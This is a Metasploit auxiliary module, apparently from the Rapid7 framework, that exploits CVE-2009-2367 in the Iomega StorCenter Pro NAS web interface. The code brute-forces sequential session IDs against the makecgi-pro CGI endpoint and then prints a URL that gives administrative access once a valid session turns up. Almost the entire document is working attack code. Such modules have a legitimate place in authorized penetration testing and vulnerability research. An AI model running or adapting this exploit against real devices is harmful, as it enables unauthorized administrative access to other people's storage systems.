Iomega StorCenter Pro NAS Web Authentication Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(
      'Name' => 'Iomega StorCenter Pro NAS Web Authentication Bypass',
      'Description' => %q{
        The Iomega StorCenter Pro Network Attached Storage device web interface increments sessions IDs,
        allowing for simple brute force attacks to bypass authentication and gain administrative
        access.
        },
      'References' => [
        [ 'OSVDB', '55586' ],
        [ 'CVE', '2009-2367' ],
      ],
      'Author' => [ 'aushack' ],
      'License' => MSF_LICENSE
    )

    register_options(
      [
        OptInt.new('SID_MAX', [true, 'Maximum Session ID', 100])
      ]
    )
  end

  def run
    datastore['SID_MAX'].times do |x|
      print_status("Trying session ID #{x}")

      res = send_request_raw({
        'uri' => "/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}",
        'method' => 'GET'
      }, 25)

      if (res && res.to_s =~ (/Log out/))
        print_status("Found valid session ID number #{x}!")
        print_status("Browse to http://#{rhost}:#{rport}/cgi-bin/makecgi-pro?job=show_home&session_id=#{x}")
        break
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_error("Unable to connect to #{rhost}:#{rport}")
      break
    rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end